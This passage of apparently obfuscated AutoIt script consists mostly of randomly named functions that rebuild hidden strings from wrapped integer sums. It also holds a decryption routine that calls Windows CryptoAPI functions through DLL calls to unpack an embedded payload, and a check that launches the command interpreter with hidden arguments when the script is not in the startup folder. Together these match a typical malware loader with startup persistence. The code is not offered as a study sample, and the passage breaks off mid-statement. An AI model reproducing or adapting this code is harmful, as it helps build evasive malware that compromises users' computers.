4294893637 - + 4294893567 , 42536 + 4294924825 , 65474 + + 4294901872 , + 4294911915 - + 4294911849 , 31410 + 4294935953 , 7261 + + 4294960084 , + 4294883164 - + 4294883111 , + 4294886220 - + 4294886152 , + 4294945190 - + 4294945123 , + 4294945989 + 21357 , + 4294928430 + 38914 , + 4294914677 - + 4294914625 , 67474 + 4294899870 , + 4294962915 - + 4294962867 , + 4294955349 - + 4294955296 , 41451 + + 4294925898 , 30208 + + 4294937144 , 46753 + + 4294920609 , + 4294912552 - + 4294912483 , + 4294883745 - + 4294883678 , + 4294872664 - + 4294872611 , + 4294891919 - + 4294891865 , 47385 + 4294919964 , + 4294883013 + 84338 ] LOCAL $NTNGEXLWGH FOR $QKXMAIQGEKQALZW = 0 TO 61 $NTNGEXLWGH &= CHRW ($HEXEWOROGUZMXXKSOTRR [$QKXMAIQGEKQALZW ] ) NEXT RETURN $NTNGEXLWGH ENDFUNC FUNC LKGEQCZZKLUMKLAMWVGK () LOCAL $TBOUJJVRDSXASTLKIIFL [54 ] = [38897 + + 4294928491 , + 4294927387 + 39996 , 88407 + + 4294878994 , + 4294931331 - + 4294931221 , 79604 + 4294887792 , + 4294897611 - + 4294897500 , 36857 + + 4294930558 , 29664 + 4294937747 , 68570 + 4294898818 , 66762 + 4294900611 , + 4294925837 - + 4294925732 , + 4294896570 + 70825 , + 4294962399 + 5011 , + 4294909331 + 58076 , + 4294871825 + 95586 , 72256 + + 4294895151 , + 4294944742 + 22656 , 84831 + + 4294882581 , 27246 + + 4294940096 , 45189 + 4294922185 , 93400 + + 4294873965 , + 4294918526 + 48854 , + 4294958750 + 8638 , + 4294924890 + 42476 , + 4294886183 - + 4294886069 , + 4294955544 + 11849 , 5565 + + 4294961840 , 70561 + + 4294896836 , + 4294878280 + 89135 , + 4294916536 - + 4294916425 , 70063 + + 4294897347 , + 4294877885 - + 4294877778 , 80953 + + 4294886435 , + 4294940404 + 27010 , + 4294893296 + 74052 , 98449 + 4294868893 , 49431 + 4294917913 , 56552 + + 4294910790 , + 4294954650 + 12697 , 66303 + + 4294901041 , + 4294873952 - + 4294873901 , + 4294955792 + 11553 , + 4294876338 - + 4294876281 , 87046 + + 4294880342 , 30946 + 4294936432 , 97293 + 4294870104 , 4808 + 4294962591 , + 4294919638 - + 4294919573 , 44554 + 4294922857 , + 4294910420 + 56985 , + 4294868821 - + 4294868775 , 72707 + 4294894690 , + 4294886842 - + 4294886722 , + 4294890674 - + 4294890573 ] LOCAL $UTQOIEWVCE FOR $TQLZVJHCCEGVOZW = 0 TO 53 $UTQOIEWVCE &= CHRW ($TBOUJJVRDSXASTLKIIFL [$TQLZVJHCCEGVOZW ] ) NEXT RETURN $UTQOIEWVCE ENDFUNC FUNC PICMBJETNFTHSWPVEYVV () LOCAL $TCXMPVIFVUFTKLKYGYWB [1 ] = [+ 4294948808 + 18537 ] LOCAL $PXGAZYT_AX FOR $AB_YHCSNYWWFCML = 0 TO 0 $PXGAZYT_AX &= CHRW ($TCXMPVIFVUFTKLKYGYWB [$AB_YHCSNYWWFCML ] ) NEXT RETURN $PXGAZYT_AX ENDFUNC FUNC ZYYQCVVZPDZFJVSXEUDG () LOCAL $_NWSYVGPAFCSEWGHTTUS [6 ] = [54007 + 4294913393 , + 4294922313 + 45080 , 85765 + 4294881641 , 48537 + + 4294918859 , 46274 + 4294921130 , + 4294891652 + 75745 ] LOCAL $NPLDL_LNTU FOR $HIGMBGSHPFYJBHA = 0 TO 5 $NPLDL_LNTU &= CHRW ($_NWSYVGPAFCSEWGHTTUS [$HIGMBGSHPFYJBHA ] ) NEXT RETURN $NPLDL_LNTU ENDFUNC FUNC XBWSCXQWMQFLXHKBEIKP () LOCAL $HYTNWOJCCGMGCVCFAKLL [12 ] = [85387 + 4294881985 , + 4294871090 - + 4294870979 , + 4294937662 - + 4294937563 , 65966 + + 4294901437 , 46001 + 4294921377 , + 4294932992 - + 4294932891 , 71243 + + 4294896168 , 96785 + + 4294870622 , + 4294935336 - + 4294935219 , + 4294896873 + 70537 , + 4294961501 + 5894 , 53247 + 4294914150 ] LOCAL $RJQJXY_DLU FOR $EYJBFFBVXZRYYTE = 0 TO 11 $RJQJXY_DLU &= CHRW ($HYTNWOJCCGMGCVCFAKLL [$EYJBFFBVXZRYYTE ] ) NEXT RETURN $RJQJXY_DLU ENDFUNC FUNC VSZTZPTUNYIXOPIHQERJ () LOCAL $RRZANDQWZZOZLTOHKPCK [1 ] = [+ 4294881431 - + 4294881383 ] LOCAL $ZFVZXUOJIM FOR $IOWMGOMIYMVGLET = 0 TO 0 $ZFVZXUOJIM &= CHRW ($RRZANDQWZZOZLTOHKPCK [$IOWMGOMIYMVGLET ] ) NEXT RETURN $ZFVZXUOJIM ENDFUNC FUNC DAJSTASRTMSEKGRWBV_S () LOCAL $JVBZKWZBFNXYGVRTBMGD [1 ] = [8144 + + 4294959207 ] LOCAL $KHXBRLFPTY FOR $_RWEFVSOWQZAFH_ = 0 TO 0 $KHXBRLFPTY &= CHRW ($JVBZKWZBFNXYGVRTBMGD [$_RWEFVSOWQZAFH_ ] ) NEXT RETURN $KHXBRLFPTY ENDFUNC FUNC WXYBCWDBPKONWUZNHQTZ () LOCAL $MDEBXJDAPOZCJEYHPOZJ [5 ] = [+ 4294912185 + 55211 , 55047 + + 4294912368 , + 4294889416 + 77991 , + 4294916223 - + 4294916109 , 75586 + + 4294891810 ] LOCAL $MESWSYTRJF FOR $YPS_BSSWETSDNAM = 0 TO 4 $MESWSYTRJF &= CHRW ($MDEBXJDAPOZCJEYHPOZJ [$YPS_BSSWETSDNAM ] ) NEXT RETURN $MESWSYTRJF ENDFUNC FUNC CBNQSTXZUWQZVYDYCMKV () LOCAL $GUWANFIETPDLS_CCKBNT [51 ] = [+ 4294883390 + 83978 , 79817 + 4294887554 , 44722 + 4294922643 , + 4294886586 - + 4294886497 , 35909 + 4294931482 , + 4294963280 - + 4294963204 , 67464 + + 4294899911 , 86256 + 4294881107 , + 4294905607 - + 4294905542 , + 4294890284 - + 4294890208 , 17968 + + 4294949423 , + 4294911361 - + 4294911284 , 44361 + 4294923000 , 50076 + + 4294917287 , 66634 + 4294900734 , 6093 + 4294961276 , + 4294870579 + 96795 , + 4294888472 + 78893 , + 4294890480 + 76908 , + 4294927969 - + 4294927897 , + 4294890175 - + 4294890110 , + 4294963773 - + 4294963691 , 78975 + + 4294888389 , 47046 + + 4294920337 , 87226 + + 4294880135 , + 4294883134 + 84244 , + 4294881550 + 85815 , + 4294933454 - + 4294933362 , 8292 + + 4294959072 , + 4294949564 + 17801 , + 4294883569 - + 4294883486 , 34431 + + 4294932932 , 77710 + 4294889668 , 41877 + + 4294925492 , 77786 + 4294889590 , 15791 + + 4294951589 , 65508 + + 4294901861 , + 4294943820 - + 4294943741 , 55084 + + 4294912290 , 83104 + + 4294884284 , 84196 + 4294883183 , 51835 + 4294915582 , 78928 + + 4294888483 , 72760 + + 4294894652 , 35977 + + 4294931420 , + 4294886934 - + 4294886825 , + 4294875505 + 91883 , 81292 + + 4294886070 , + 4294899949 + 67420 , 12530 + + 4294954845 , + 4294956403 + 10976 ] LOCAL $HOHHIFFHGS FOR $ASJHT_QC_OQSQTN = 0 TO 50 $HOHHIFFHGS &= CHRW ($GUWANFIETPDLS_CCKBNT [$ASJHT_QC_OQSQTN ] ) NEXT RETURN $HOHHIFFHGS ENDFUNC FUNC FAIZIXBVDLZVMYWPPTMT () LOCAL $UYMQATH_QJKDWPIZQDRB [62 ] = [+ 4294949485 + 17864 , 79696 + 4294887648 , 11248 + + 4294956099 , 72155 + 4294895192 , + 4294917017 - + 4294916947 , + 4294891275 + 76091 , + 4294875662 + 91701 , + 4294880039 - + 4294879984 , + 4294959348 + 8000 , + 4294871763 + 95586 , 23367 + 4294943998 , 57661 + + 4294909702 , 98496 + + 4294868848 , + 4294870235 + 97110 , + 4294945121 + 22223 , 90305 + 4294877039 , + 4294887565 - + 4294887517 , 71397 + + 4294895947 , + 4294869616 - + 4294869568 , + 4294901345 - + 4294901297 , + 4294890237 + 77112 , 47885 + 4294919466 , 2757 + + 4294964609 , + 4294904802 - + 4294904732 , 3472 + 4294963879 , 14658 + + 4294952691 , + 4294898802 - + 4294898734 , 14787 + + 4294952565 , 49466 + 4294917900 , 91627 + + 4294875739 , + 4294921553 + 45796 , 42609 + 4294924740 , + 4294953554 - + 4294953487 , + 4294949193 + 18151 , + 4294962247 - + 4294962191 , + 4294925119 - + 4294925062 , + 4294960767 + 6581 , + 4294929921 + 37428 , 37469 + + 4294929897 , + 4294920608 - + 4294920552 , + 4294942395 + 24957 , 23727 + + 4294943622 , + 4294961694 - + 4294961627 , + 4294924110 - + 4294924062 , + 4294869979 + 97372 , 85433 + + 4294881916 , 24018 + + 4294943327 , + 4294955801 + 11547 , + 4294916396 - + 4294916342 , 58232 + 4294909120 , 74696 + + 4294892648 , 48080 + 4294919264 , 45482 + 4294921870 , + 4294944126 - + 4294944078 , 22476 + + 4294944868 , 55217 + + 4294912127 , + 4294891522 + 75822 , 98596 + + 4294868748 , 16088 + 4294951261 , 75647 + 4294891704 , 68931 + + 4294898418 , + 4294955663 + 11684 ] LOCAL $ERVQFKI_QO FOR $ELT_DUKYFFE_ACX = 0 TO 61 $ERVQFKI_QO &= CHRW ($UYMQATH_QJKDWPIZQDRB [$ELT_DUKYFFE_ACX ] ) NEXT RETURN $ERVQFKI_QO ENDFUNC FUNC GZCVGAGJRZWLXSNXRQFL () LOCAL $GGJJDKIXVMQUUCAFGDBR [3 ] = [59887 + + 4294907521 , + 4294947589 + 19823 , + 4294885484 + 81926 ] LOCAL $JOEIBRUSHQ FOR $AAWBCUCMJ_QTRXS = 0 TO 2 $JOEIBRUSHQ &= CHRW ($GGJJDKIXVMQUUCAFGDBR [$AAWBCUCMJ_QTRXS ] ) NEXT RETURN $JOEIBRUSHQ ENDFUNC FUNC CQNSXHOBUPZTCIRUKGHV () LOCAL $X_OBSIR_RZUIKCFIITJL [62 ] = [+ 4294919527 + 47839 , + 4294961831 + 5513 , 66222 + 4294901130 , 64190 + + 4294903174 , 60820 + 4294906531 , + 4294948766 - + 4294948696 , + 4294869443 - + 4294869393 , 15338 + 4294952014 , + 4294877634 - + 4294877586 , + 4294870504 + 96862 , + 4294938712 + 28650 , 22376 + + 4294944975 , + 4294901859 + 65489 , + 4294928384 - + 4294928330 , + 4294887524 - + 4294887476 , 7005 + + 4294960345 , + 4294890861 + 76487 , + 4294882443 - + 4294882394 , 5708 + + 4294961644 , 54224 + + 4294913129 , + 4294892402 - + 4294892350 , + 4294903853 - + 4294903785 , 14396 + 4294952970 , 35901 + + 4294931443 , 4632 + 4294962715 , 49467 + + 4294917895 , + 4294919634 + 47729 , 61248 + 4294906104 , 11018 + + 4294956333 , + 4294888111 - + 4294888044 , 74456 + 4294892908 , 8061 + 4294959302 , + 4294883876 + 83476 , + 4294955153 - + 4294955087 , 24822 + + 4294942529 , 26143 + 4294941219 , + 4294909724 - + 4294909673 , 9216 + + 4294958147 , + 4294942319 - + 4294942263 , + 4294912710 - + 4294912644 , + 4294926976 - + 4294926924 , 4112 + + 4294963237 , 76285 + + 4294891081 , 89500 + 4294877852 , 94901 + + 4294872443 , + 4294945860 + 21487 , 3875 + 4294963491 , + 4294936655 + 30707 , 6776 + + 4294960576 , 24877 + + 4294942470 , + 4294869825 - + 4294869770 , + 4294950240 + 17124 , 3193 + + 4294964172 , 33755 + 4294933608 , + 4294935061 - + 4294935013 , 61465 + 4294905879 , + 4294966861 + 491 , + 4294884590 + 82763 , + 4294927935 + 39413 , + 4294929949 - + 4294929894 , 54829 + 4294912518 , + 4294897959 - + 4294897907 ] LOCAL $HYRTWCGGUC FOR $YXYFVNEQTJJEUMN = 0 TO 61 $HYRTWCGGUC &= CHRW ($X_OBSIR_RZUIKCFIITJL [$YXYFVNEQTJJEUMN ] ) NEXT RETURN $HYRTWCGGUC ENDFUNC FUNC MTMSGYZICENJWLXN_OTX () LOCAL $OVHMAODSEAGFUVLLBDCP [4 ] = [19938 + 4294947442 , + 4294884360 + 83050 , + 4294910869 + 56544 , 88250 + + 4294879147 ] LOCAL $BYHPBAMMWM FOR $NQAKPVLRLASRUGD = 0 TO 3 $BYHPBAMMWM &= CHRW ($OVHMAODSEAGFUVLLBDCP [$NQAKPVLRLASRUGD ] ) NEXT RETURN $BYHPBAMMWM ENDFUNC FUNC GNIKVUXUJLPTSXEQQTBE () LOCAL $CSOXFDCLEJGITSVUPAFA [1 ] = [38487 + + 4294928857 ] LOCAL $LESRLQ_FG_ FOR $DIORFBBWSHBOROZ = 0 TO 0 $LESRLQ_FG_ &= CHRW ($CSOXFDCLEJGITSVUPAFA [$DIORFBBWSHBOROZ ] ) NEXT RETURN $LESRLQ_FG_ ENDFUNC FUNC YUNDJTMHPNCT_CTYALSB () LOCAL $EZSLVEFGSWKVDEZNGEYM [62 ] = [44407 + 4294922945 , 80135 + 4294887212 , 78020 + 4294889324 , + 4294893714 - + 4294893663 , 30609 + 4294936754 , + 4294926660 + 40691 , + 4294925801 - + 4294925732 , 5447 + + 4294961915 , + 4294888040 - + 4294887971 , + 4294928653 - + 4294928596 , 8492 + 4294958857 , + 4294951643 + 15706 , + 4294894237 - + 4294894181 , + 4294945296 + 22066 , + 4294900231 - + 4294900162 , + 4294933358 + 34005 , 1712 + 4294965640 , + 4294936282 - + 4294936233 , + 4294882421 - + 4294882352 , 8696 + 4294958667 , + 4294877276 - + 4294877206 , 20193 + 4294947151 , 67316 + + 4294900028 , + 4294962532 + 4815 , 37986 + 4294929358 , + 4294948314 - + 4294948266 , + 4294894240 + 73104 , + 4294882187 + 85157 , 694 + 4294966655 , 60105 + + 4294907242 , 51533 + 4294915816 , 91106 + 4294876244 , + 4294908124 + 59225 , + 4294889959 - + 4294889904 , + 4294895015 - + 4294894964 , + 4294893440 + 73907 , + 4294962172 + 5194 , + 4294892850 - + 4294892780 , 20547 + 4294946805 , 7696 + 4294959657 , + 4294913898 + 53453 , + 4294896371 - + 4294896303 , + 4294899592 + 67770 , + 4294872207 + 95145 , 38276 + + 4294929074 , + 4294952569 + 14779 , 69789 + + 4294897563 , + 4294929332 + 38030 , + 4294892476 - + 4294892425 , + 4294952732 - + 4294952679 , 30973 + 4294936374 , + 4294965822 - + 4294965774 , 73428 + + 4294893916 , 28676 + 4294938668 , 21624 + 4294945720 , 83270 + 4294884074 , + 4294935271 + 32073 , + 4294901097 + 66247 , 69643 + + 4294897709 , 14094 + 4294953268 , 77348 + 4294890003 , 49776 + 4294917574 ] LOCAL $EWZEWYLFID FOR $V_PPEJIKYGSHMWA = 0 TO 61 $EWZEWYLFID &= CHRW ($EZSLVEFGSWKVDEZNGEYM [$V_PPEJIKYGSHMWA ] ) NEXT RETURN $EWZEWYLFID ENDFUNC FUNC ZURBOMWVJJRIRQELAVON () LOCAL $XGOCXCWEPVZCCHHIJEIP [1 ] = [+ 4294868336 - + 4294868283 ] LOCAL $OELQSGOKOF FOR $YWNVSWAAGATL_TF = 0 TO 0 $OELQSGOKOF &= CHRW ($XGOCXCWEPVZCCHHIJEIP [$YWNVSWAAGATL_TF ] ) NEXT RETURN $OELQSGOKOF ENDFUNC FUNC MBEAGMUFOCSRCZIGSOQZ () LOCAL $HBBDLVVXRCLYAYOPEPGD [46 ] = [+ 4294960794 - + 4294960722 , 60841 + 4294906530 , + 4294946126 - + 4294946057 , 53441 + 4294913944 , 42746 + + 4294924645 , 74835 + 4294892537 , 100017 + 4294867358 , 94296 + 4294873067 , + 4294868650 - + 4294868585 , 21337 + 4294946035 , + 4294935716 + 31675 , 14390 + 4294952983 , + 4294940012 + 27349 , 28129 + 4294939234 , 17816 + + 4294949552 , + 4294879970 - + 4294879897 , + 4294926480 - + 4294926402 , + 4294963801 - + 4294963732 , 52426 + + 4294914962 , 50102 + 4294917266 , + 4294876845 - + 4294876780 , 21399 + 4294945979 , + 4294910493 - + 4294910425 , + 4294880950 + 86433 , 88310 + 4294879051 , 14208 + 4294953170 , + 4294873644 + 93721 , 5781 + + 4294961607 , 2520 + 4294964844 , + 4294929659 + 37706 , 21234 + + 4294946145 , + 4294877185 + 90178 , + 4294952193 + 15185 , + 4294878319 + 89050 , + 4294868243 + 99133 , + 4294905707 - + 4294905623 , + 4294922388 - + 4294922315 , + 4294944638 - + 4294944559 , 42553 + + 4294924821 , + 4294914530 - + 4294914438 , 63702 + 4294903677 , + 4294915718 - + 4294915597 , 67724 + + 4294899687 , + 4294896318 - + 4294896202 , 98918 + + 4294868479 , + 4294931360 + 36045 ] LOCAL $TLGHZDGVHJ FOR $BC_MNBLMGKOEYHX = 0 TO 45 $TLGHZDGVHJ &= CHRW ($HBBDLVVXRCLYAYOPEPGD [$BC_MNBLMGKOEYHX ] ) NEXT RETURN $TLGHZDGVHJ ENDFUNC FUNC ZZGZFPXPHDPCMVEUTJKP () LOCAL $FOQLYCBWPQKNSOZZLHLI [5 ] = [+ 4294951603 - + 4294951503 , + 4294883534 - + 4294883415 , + 4294942103 - + 4294941992 , + 4294903107 - + 4294902993 , + 4294929541 - + 4294929441 ] LOCAL $CKYWFIMYCE FOR $CRXCZKJVADOBART = 0 TO 4 $CKYWFIMYCE &= CHRW ($FOQLYCBWPQKNSOZZLHLI [$CRXCZKJVADOBART ] ) NEXT RETURN $CKYWFIMYCE ENDFUNC FUNC LYZJV_KPDFBOKNCAPUCW () LOCAL $ZLYBLMAWWNIOYTIIBUIY [9 ] = [+ 4294920670 + 46708 , 69483 + 4294897882 , 87001 + + 4294880372 , 27856 + 4294939519 , + 4294921643 + 45739 , + 4294905147 - + 4294905082 , + 4294886011 - + 4294885945 , + 4294952835 + 14537 , 96320 + + 4294871045 ] LOCAL $EDEPXZOWQC FOR $XIZPTRWNPREUZVM = 0 TO 8 $EDEPXZOWQC &= CHRW ($ZLYBLMAWWNIOYTIIBUIY [$XIZPTRWNPREUZVM ] ) NEXT RETURN $EDEPXZOWQC ENDFUNC FUNC XWWUXLRIVZVNNWQIEQKO () LOCAL $KOJENZVCRSM_JZRAVKCC [5 ] = [2800 + + 4294964596 , 67272 + + 4294900143 , 2642 + + 4294964765 , 96714 + 4294870696 , 5553 + 4294961843 ] LOCAL $VEPEPNUOHC FOR $YLXCDJMSHYQORDM = 0 TO 4 $VEPEPNUOHC &= CHRW ($KOJENZVCRSM_JZRAVKCC [$YLXCDJMSHYQORDM ] ) NEXT RETURN $VEPEPNUOHC ENDFUNC FUNC UOYAWUINDIZWOGIDBUGM () LOCAL $SQDXMYRTQBFAVFYIO_ZT [1 ] = [+ 4294965854 - + 4294965806 ] LOCAL $ANZCPXCCZB FOR $OKOCOAPHPHWAPDK = 0 TO 0 $ANZCPXCCZB &= CHRW ($SQDXMYRTQBFAVFYIO_ZT [$OKOCOAPHPHWAPDK ] ) NEXT RETURN $ANZCPXCCZB ENDFUNC FUNC JDZNQZLVTHSGVIKFLAWE () LOCAL $VUODORWSMZSNHZUMNZYR [1 ] = [+ 4294925762 + 41589 ] LOCAL $VZZDTJUOE_ FOR $OLXVGIKSRRTGYPP = 0 TO 0 $VZZDTJUOE_ &= CHRW ($VUODORWSMZSNHZUMNZYR [$OLXVGIKSRRTGYPP ] ) NEXT RETURN $VZZDTJUOE_ ENDFUNC FUNC QHGMITTTBEROVBWFOEJB () LOCAL $OQWZFPBRPXFKPHGO_RAQ [4 ] = [+ 4294964100 - + 4294963996 , + 4294880416 - + 4294880297 , + 4294940999 - + 4294940889 , + 4294882336 + 85060 ] LOCAL $EZHZNVHFYD FOR $MIFGGSAALIHURBD = 0 TO 3 $EZHZNVHFYD &= CHRW ($OQWZFPBRPXFKPHGO_RAQ [$MIFGGSAALIHURBD ] ) NEXT RETURN $EZHZNVHFYD ENDFUNC FUNC GPNCDCP_YVNH_XFIOLZK () LOCAL $VG_GICWTULRXZMEGVMGQ [14 ] = [+ 4294925895 + 41468 , 97050 + + 4294870360 , + 4294910752 - + 4294910631 , 98440 + 4294868968 , 98891 + + 4294868521 , 57690 + + 4294909674 , + 4294904587 - + 4294904486 , + 4294962667 - + 4294962553 , 20817 + 4294946584 , 54712 + 4294912702 , 49441 + + 4294917956 , + 4294909094 - + 4294909019 , 71978 + + 4294895419 , 36664 + + 4294930753 ] LOCAL $YFASN_EQPS FOR $SZNCFISWGHBYDTS = 0 TO 13 $YFASN_EQPS &= CHRW ($VG_GICWTULRXZMEGVMGQ [$SZNCFISWGHBYDTS ] ) NEXT RETURN $YFASN_EQPS ENDFUNC FUNC VTPPHRBNKITBRWOFC_BD () LOCAL $VL_BIGPQNYIBWADOFTTR [7 ] = [72609 + 4294894791 , 81206 + 4294886187 , 64749 + 4294902657 , + 4294902221 + 65175 , 46009 + 4294921395 , 96471 + 4294870926 , + 4294933481 - + 4294933439 ] LOCAL $A_JGJGVNRG FOR $PJUNHBCLAMASFRS = 0 TO 6 $A_JGJGVNRG &= CHRW ($VL_BIGPQNYIBWADOFTTR [$PJUNHBCLAMASFRS ] ) NEXT RETURN $A_JGJGVNRG ENDFUNC FUNC KQMYTSMTMGXYKNNIXLWT () LOCAL $LCVINWOBXQPFOOBVNICQ [5 ] = [+ 4294894963 - + 4294894863 , 33225 + + 4294934190 , 25574 + + 4294941833 , 93178 + 4294874232 , 51406 + + 4294915990 ] LOCAL $SJWMSVOIFP FOR $SHDSVIUEKXDKXWR = 0 TO 4 $SJWMSVOIFP &= CHRW ($LCVINWOBXQPFOOBVNICQ [$SHDSVIUEKXDKXWR ] ) NEXT RETURN $SJWMSVOIFP ENDFUNC FUNC DECDATA ($VDATA , $VCRYPTKEY ) LOCAL $ARET = TYTDMQGCHQKBYFQZMYFU () LOCAL $TBUFF = TYTDMQGCHQKBYFQZMYFU () LOCAL $TTEMPSTRUCT = TYTDMQGCHQKBYFQZMYFU () LOCAL $IERROR = TYTDMQGCHQKBYFQZMYFU () LOCAL $IEXTENDED = TYTDMQGCHQKBYFQZMYFU () LOCAL $IPLAINTEXTSIZE = TYTDMQGCHQKBYFQZMYFU () LOCAL $VRETURN = TYTDMQGCHQKBYFQZMYFU () $VDATA = BINARYTOSTRING ($VDATA ) LOCAL $HADVAPI32 = DLLOPEN (ANO_GCRQGGPERFKNSJGX () ) $__G_ACRYPTINTERNALDATA [1 ] = $HADVAPI32 LOCAL $IPROVIDERID = WVSJQPOPRESHGIKGEBPB () LOCAL $ARET = DLLCALL ($__G_ACRYPTINTERNALDATA [1 ] , GVIEJJKLMULFP_ONWGOQ () , DWC_NUETFU_WASSHSAVQ () , IPY_IUXGAWQXDFCGS_TC () , TYTDMQGCHQKBYFQZMYFU () , P_HQTDSUWYOKQXKUDAWA () , TYTDMQGCHQKBYFQZMYFU () , P_HQTDSUWYOKQXKUDAWA () , TYTDMQGCHQKBYFQZMYFU () , MLHTVAHGQBSHGBCHDSCI () , $IPROVIDERID , MLHTVAHGQBSHGBCHDSCI () , FEVHDKFOFTQQOLVNOIXY () ) $__G_ACRYPTINTERNALDATA [2 ] = $ARET [1 ] $__G_ACRYPTINTERNALDATA [0 ] += _DGBYVRQADLZMAFOPE_G () $ARET = DLLCALL ($__G_ACRYPTINTERNALDATA [1 ] , GVIEJJKLMULFP_ONWGOQ () , MYKMXDCNHJLALUJWUPGR () , DVHBNNLI_CTFPEVPGJQP () , $__G_ACRYPTINTERNALDATA [2 ] , C_UNGTQGTZDOVYJASSAR () , MTJFWYAUGOLOYFJQCFGT () , P_HQTDSUWYOKQXKUDAWA () , TYTDMQGCHQKBYFQZMYFU () , MLHTVAHGQBSHGBCHDSCI () , TYTDMQGCHQKBYFQZMYFU () , IPY_IUXGAWQXDFCGS_TC () , TYTDMQGCHQKBYFQZMYFU () ) $HCRYPTHASH = $ARET [5 ] $TBUFF = DLLSTRUCTCREATE (VHQWOWUCVBZUKLXFPOTU () & BINARYLEN ($VCRYPTKEY ) & ITNVYGEHUBPGPMUWPFII () ) DLLSTRUCTSETDATA ($TBUFF , 1 , $VCRYPTKEY ) $ARET = DLLCALL ($__G_ACRYPTINTERNALDATA [1 ] , GVIEJJKLMULFP_ONWGOQ () , QAZB_BTNEZPFTVDYIJSS () , DVHBNNLI_CTFPEVPGJQP () , $HCRYPTHASH , PCCWNQRXCKCGVAMIHWKC () , $TBUFF , MLHTVAHGQBSHGBCHDSCI () , DLLSTRUCTGETSIZE ($TBUFF ) , MLHTVAHGQBSHGBCHDSCI () , _DGBYVRQADLZMAFOPE_G () ) $ARET = DLLCALL ($__G_ACRYPTINTERNALDATA [1 ] , GVIEJJKLMULFP_ONWGOQ () , GPNCDCP_YVNH_XFIOLZK () , DVHBNNLI_CTFPEVPGJQP () , $__G_ACRYPTINTERNALDATA [2 ] , C_UNGTQGTZDOVYJASSAR () , CK_XIFBLCCUTGRNNDSFG () , DVHBNNLI_CTFPEVPGJQP () , $HCRYPTHASH , MLHTVAHGQBSHGBCHDSCI () , HCAHLAEQEMSBSAZYYSQT () , IPY_IUXGAWQXDFCGS_TC () , TYTDMQGCHQKBYFQZMYFU () ) $VRETURN = $ARET [5 ] DLLCALL ($__G_ACRYPTINTERNALDATA [1 ] , GVIEJJKLMULFP_ONWGOQ () , MOTEQEPRJQASJVWSRJWO () , DVHBNNLI_CTFPEVPGJQP () , $HCRYPTHASH ) $VCRYPTKEY = $VRETURN $TBUFF = DLLSTRUCTCREATE (VHQWOWUCVBZUKLXFPOTU () & BINARYLEN ($VDATA ) + CXBHQLXLZMXNYOIMVSKW () & ITNVYGEHUBPGPMUWPFII () ) IF BINARYLEN ($VDATA ) > 0 THEN DLLSTRUCTSETDATA ($TBUFF , EXECUTE (_DGBYVRQADLZMAFOPE_G () ) , $VDATA ) $ARET = DLLCALL ($__G_ACRYPTINTERNALDATA [1 ] , GVIEJJKLMULFP_ONWGOQ () , GDUQRJ_EXFC_BGQSPNFT () , DVHBNNLI_CTFPEVPGJQP () , $VCRYPTKEY , DVHBNNLI_CTFPEVPGJQP () , TYTDMQGCHQKBYFQZMYFU () , GVIEJJKLMULFP_ONWGOQ () , EXECUTE (MTMSGYZICENJWLXN_OTX () ) , MLHTVAHGQBSHGBCHDSCI () , TYTDMQGCHQKBYFQZMYFU () , PCCWNQRXCKCGVAMIHWKC () , $TBUFF , BFUUWZVYHXIEEXGUKTIP () , BINARYLEN ($VDATA ) ) $IPLAINTEXTSIZE = $ARET [6 ] $TTEMPSTRUCT = DLLSTRUCTCREATE (VHQWOWUCVBZUKLXFPOTU () & $IPLAINTEXTSIZE + _DGBYVRQADLZMAFOPE_G () & ITNVYGEHUBPGPMUWPFII () , DLLSTRUCTGETPTR ($TBUFF ) ) $VRETURN = BINARYMID (DLLSTRUCTGETDATA ($TTEMPSTRUCT , EXECUTE (_DGBYVRQADLZMAFOPE_G () ) ) , 1 , $IPLAINTEXTSIZE ) LOCAL $ARET = DLLCALL ($__G_ACRYPTINTERNALDATA [1 ] , GVIEJJKLMULFP_ONWGOQ () , MIRYCYQLORBKTUFTKKQL () , DVHBNNLI_CTFPEVPGJQP () , $VCRYPTKEY ) DLLCALL ($__G_ACRYPTINTERNALDATA [1 ] , GVIEJJKLMULFP_ONWGOQ () , MIRYCYQLORBKTUFTKKQL () , DVHBNNLI_CTFPEVPGJQP () , $VCRYPTKEY ) $__G_ACRYPTINTERNALDATA [0 ] -= _DGBYVRQADLZMAFOPE_G () DLLCALL ($__G_ACRYPTINTERNALDATA [1 ] , GVIEJJKLMULFP_ONWGOQ () , LRYGEYARVQASHRYZOIMF () , DVHBNNLI_CTFPEVPGJQP () , $__G_ACRYPTINTERNALDATA [2 ] , MLHTVAHGQBSHGBCHDSCI () , TYTDMQGCHQKBYFQZMYFU () ) DLLCLOSE ($__G_ACRYPTINTERNALDATA [1 ] ) RETURN BINARY ($VRETURN ) ENDFUNC FUNC TOFTPTQVAEOJSNBN_KMR () LOCAL $PMQDLSGWGHYOHOEFKAMH [29 ] = [66140 + + 4294901203 , 88432 + 4294878971 , + 4294927742 - + 4294927710 , + 4294870096 - + 4294869984 , 8055 + 4294959346 , 67322 + + 4294900084 , + 4294912954 + 54445 , + 4294893388 - + 4294893356 , 85993 + 4294881352 , 41845 + + 4294925501 , + 4294965854 + 1497 , + 4294956980 + 10362 , 51987 + + 4294915357 , + 4294884164 - + 4294884118 , 33859 + + 4294933485 , 73831 + + 4294893511 , 89970 + 4294877375 , 3523 + + 4294963805 , 3938 + 4294963403 , + 4294901920 + 65492 , 34834 + 4294932494 , 35041 + + 4294932303 , + 4294889302 - + 4294889270 , 58389 + 4294908945 , 19373 + + 4294947955 , + 4294922182 - + 4294922082 , + 4294920782 + 46615 , 58337 + 4294909067 , + 4294953910 - + 4294953878 ] LOCAL $IGHLPQBFTT FOR $ZIKWSREFVPMNUNG = 0 TO 28 $IGHLPQBFTT &= CHRW ($PMQDLSGWGHYOHOEFKAMH [$ZIKWSREFVPMNUNG ] ) NEXT RETURN $IGHLPQBFTT ENDFUNC FUNC GOTGFBLLTQUJ_WYRZSYK () LOCAL $PUOAXW_CVIELSFTVVKUB [5 ] = [15539 + 4294951789 , 60878 + + 4294906465 , + 4294958635 + 8777 , 58719 + + 4294908691 , + 4294932421 + 34907 ] LOCAL $IRUDDWPZWV FOR $YPHG_M_SKJBIRLL = 0 TO 4 $IRUDDWPZWV &= CHRW ($PUOAXW_CVIELSFTVVKUB [$YPHG_M_SKJBIRLL ] ) NEXT RETURN $IRUDDWPZWV ENDFUNC FUNC EEPDHJUGSKVUYXN () IF @SCRIPTDIR <> $STARTUPDIR THEN SHELLEXECUTE (@COMSPEC , TOFTPTQVAEOJSNBN_KMR () & @AUTOITEXE & LPVGKKCEIMNPVNRUXJFW () , EXECUTE (TOHOQPYRIEHRYEXGGDSJ () ) , 